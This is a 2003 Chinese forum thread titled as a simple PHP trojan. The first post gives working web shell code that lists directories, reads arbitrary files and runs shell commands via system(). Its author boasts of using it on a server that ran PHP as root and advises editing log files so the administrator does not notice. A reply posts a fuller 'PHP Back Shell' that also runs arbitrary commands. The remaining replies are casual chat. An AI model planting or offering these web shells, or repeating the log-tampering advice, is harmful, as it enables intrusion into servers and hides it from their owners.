ASEE 发表于 2003-8-6 09:07:00

我写的一个PHP的简单木马

重在实用,HoHo,某天发现某个LINUX服务器居然使用root权限执行PHP,真是让我心动不已,浏览器就是我的SHELL,因为有root权限,因此我就%¥##··*,当然不要忘了修改日志文件,HoHo,不然管理员会告你。
xx.php如下(太简陋了,不免高手门笑话,hoho)
<?php
//获得指定文件的文本
function getfile($filename)
{
        if (!$filename){
                return false;       
        }
        $fp = @fopen($filename,"r");
       
        if (!$fp){
                return false;       
        }
        $fdata = @fread($fp,filesize($filename));       
        fclose($fp);

        return $fdata;
}

$str="<form action ='xx.php' method=post ><tr>
                  <td width='27%'>
                  目录:<input type='text' name='dirs' size='50' value='<!--dirs-->'><br>
                  文件:<input type='text' name='files' size='50' value='<!--files-->'><br>
                  命令:<input type='text' name='cmd' size='50' value='<!--cmd-->'><br>
                  <input type='submit' name='btn',value='执行'>
                  </td>                  
                </tr></form>";
$str = str_replace("<!--dirs-->",$dirs,$str);
$str = str_replace("<!--files-->",$files,$str);
$str = str_replace("<!--cmd-->",$cmd,$str);
echo $str;
if ($dirs)
{       
        //echo $str;
        $handle=opendir($dirs);
           echo "$dirs:<br>";          
           while ($file = readdir($handle)) {
                 echo "$file<br>";
           }
           closedir($handle);
}
if ($files){       
        echo "$files:<br>";
        $strdata = getfile($files);       
        echo "<pre>$strdata</pre>";       
}
if ($cmd){       
        echo "$cmd:<br>";
        $strdata = system($cmd);
        echo $strdata;       
}
?>

[此贴子已经被作者于2003-8-6 9:16:26编辑过]

yzhlinux 发表于 2003-8-6 15:43:00

ACEE 的程序用来得到文件在好不过,工厂虽小,但是还用了摸板替换的思想,可贵!
但是在得到指定文件之前必须先看看服务器上都有些什么,想在服务器上执行命令,ACEE 的命令执行功能不够,这里我给大家这个专业的 shell。
/* GNU */
/* 您可以任意传播,不过请一定写出作者名字 */
/*
原作者: Martin Geisler
改写汉化: YZHLINUX
*/
<html>
<head>
<title>PHP Back Shell</title>
</head>
<body>
<?php
/* 首先检查 $work_dir 是否被设置了值,这是我们的工作目录 */
if (isset($work_dir)) {
/* 说明已经设置了 工作目录 ,那么我们就吧当前目录改变倒这个地方 */
chdir($work_dir);
$work_dir = exec("pwd"); // pwd 是 Unix 中显示当前目录的命令,这里我们执行它.得到当前目录
} else {
/* 如果没有设置 工作目录,那么我们就到 apache 的工作目录
        注: $DOCUMENT_ROOT 是系统提供的*/
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>

<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>当前工作目录: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/";
if ($work_dir_splitted == "") {
    $work_dir = "/";/* 根目录. */
} else {
for ($i = 0; $i < count($work_dir_splitted); $i++) {
    /*echo "i = $i";*/
    $url .= "/".$work_dir_splitted[$i];
    echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?></b></p>
<p>选择新的工作目录:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php
/* 现在我们对这个目录坐一个文件列表 */
$dir_handle = opendir($work_dir);
/* 来一个遍历找出所有的文件和目录 */
while ($dir = readdir($dir_handle)) {
        if (is_dir($dir)) {
                if ($dir == ".") {
                        echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
                } elseif ($dir == "..") {
                        /* 我们找到了父目录,我们要注意里看看父目录是不是根目录 (/) */
                        if (strlen($work_dir) == 1) {
                                /* 长度只有 1 ---- 那么只能是 '/' 了 */
                        } elseif (strrpos($work_dir, "/") == 0) {
                                /* 发现第一个字符是 / 说明我到了顶层的目录了比如: /bin 或者 /home etc... */
                                echo "<option value=\"/\">Parent Directory</option>\n";
                        } else {
                                echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
                        }
                } else {
                        if ($work_dir == "/") {
                                echo "<option value=\"$work_dir$dir\">$dir</option>\n";
                        } else {
                                echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
                        }
                }
        }
}
closedir($dir_handle);//不要忘记关闭
?>
</select>
<p>命令:</p>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?> > <input name="submit_btn" type="submit" value="Execute Command"></p>
<p>是否捕获错误信息? <input type="checkbox" name="stderr"></p>
<p>Output:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
        if ($stderr) {
                /* 这个命令组能看懂吗?
                短短的一句语句但是做的事情有: 执行命令,把输出的结果保存到 output.txt ,显示 output.txt ,然后删除它!*/
                system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
        }else {
                system($command);
        }
}
?>
</textarea>
</form>
</body>
</html>


[此贴子已经被作者于2003-8-6 15:48:22编辑过]

ASEE 发表于 2003-8-10 00:44:00

不错,不错。

猴子很忙 发表于 2003-8-11 00:09:00

能力有限,看不懂。。

碧绨佛 发表于 2003-8-12 09:56:00

晕晕了,第二篇就不看了,第一篇好像见到过了

ASEE 发表于 2003-8-12 22:09:00

我写的代码还算简洁,噢,HOHO。。。那里见过也不奇怪,需要的时候就自己写。抄一百行代码还不如自己写一行,PHP只能处理字符,处理网叶,干不成大事,说白了,PHP还不如UNIX的各种SHELL。

yzhlinux 发表于 2003-8-12 22:29:00

PHP 也是可以做Unix 的一个shell的。
语法就是php的语法,只要把编译好的cgi模式的解析程序执行,就是一个shell外壳了

ASEE 发表于 2003-8-12 23:12:00

是啊,我都有这个想法啊,php 的 VC 源代码我看了很久了,我觉得可以把它改动成我们所设想的东西,嵌入到我们的其他程序中去做控制脚本。HoHo,功能强大哦!
不过不知道版权会被我们侵犯到什么地步 :(

碧绨佛 发表于 2003-8-12 23:48:00

yzhlinuxASEE,你们都是工程的吗?计算机系吗?程序方面很强哦。
我是工程的,但不是计算机系的。

yzhlinux 发表于 2003-8-13 00:11:00

这你也看的出来?
我们既不是工程的也不是计算机系的

碧绨佛 发表于 2003-8-13 00:16:00

哦,这里的工程比较多啊,所以猜的,那你们什么学校的啊?

yzhlinux 发表于 2003-8-13 00:17:00

我们都工作了你看不出来吗?

碧绨佛 发表于 2003-8-13 00:20:00

呵呵,没看出来,都是哪儿的,搞程序的?

yzhlinux 发表于 2003-8-13 00:25:00

提供真人实姓,就不叫BBS了,那我注册了帐号还有什么意思? :)

碧绨佛 发表于 2003-8-13 00:26:00

又没让你说姓名,我想了解一下这里的高手有多少是学生啊

ASEE 发表于 2003-8-13 11:49:00

以下是引用ASEE在2003-8-12 23:12:00的发言:
是啊,我都有这个想法啊,php 的 VC 源代码我看了很久了,我觉得可以把它改动成我们所设想的东西,嵌入到我们的其他程序中去做控制脚本。HoHo,功能强大哦!
不过不知道版权会被我们侵犯到什么地步 :(


我有种发梦的感觉,是不是我眼花了,昨晚太累打字打错了,竟然写出这样的话来,我死也不信,如果有人攻击BBS,那就另当别论,或者帮主看不过去,那有另当别论。

yzhlinux 发表于 2003-8-13 13:42:00

哪里啊,那是我要回复你的,结果却按错了,点成了编辑 :(。
想恢复都不行了! 你说的是什么我现在都忘记了!郁闷!

ASEE 发表于 2003-8-13 20:57:00

看来这个BB让人郁闷,不过还算快。要不真象上CSDN一样,半天都进不去,干脆不去了,XML做的看来也不过如此,WEB SERVICE也不过如此,.NET也不过如此。

yzhlinux 发表于 2003-8-13 22:04:00

这里人不多啊,自然快,CSDN 是快的,主要人太多,同时再线的比这里多500倍以上,半夜2:00以后你试试,那时没人,狂快!

阿当当 发表于 2003-8-14 17:46:00

yzhlounx 你是工程的吧呵呵
页: [1] 2
查看完整版本: 我写的一个PHP的简单木马